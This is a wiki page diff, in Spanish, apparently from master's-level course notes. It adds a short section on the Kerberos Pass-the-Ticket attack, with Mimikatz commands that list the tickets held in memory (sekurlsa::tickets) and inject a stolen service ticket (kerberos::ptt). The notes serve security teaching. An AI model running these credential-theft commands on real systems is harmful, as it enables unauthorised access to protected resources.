Diferencias

Muestra las diferencias entre dos versiones de la página.

--- master_cs:int:tm9v2 [2026/05/19 14:49] – thejuanvisu
+++ master_cs:int:tm9v2 [2026/05/19 14:56] (actual) – thejuanvisu
@@ Línea 93: / Línea 93: @@
 Ahora el atacante tiene un ticket de servicio para el servicio que puede almacenar para su uso posterior. Este ticket puede usarse con herramientas como hashcat o john the ripper para descifrar la contraseña.
+===== Ataque Pass the Ticket (PtP) =====
+Se utilizan tickets de kerberos previamente obtenidos para acceder a recursos protegidos. Con MimiKatz se puede realizar el siguiente ataque:
+El atacante descarga y ejecuta la herramienta en un sistema comprometido:
+<code>
+.\mimikatz.exe
+</code>
+Tras eso, se utiliza el siguiente comando paramostrar los tickets almacenados en el sistema:
+<code>
+mimikatz# sekurlsa::tickets
+</code>
+Se identifica un ticket de servicio (TGS)
+<code>
+mimikatz# sekurlsa::tickets/service:<nombre_servicio>
+</code>
+Tras eso, se ejecuta el siguiente comando para inyectar el TGS en el sistema, permitiendo su uso sin conocer la contreña:
+<code>
+mimikatz# kerberos::ptt <ticket_de_servicio>
+</code>

Knoppia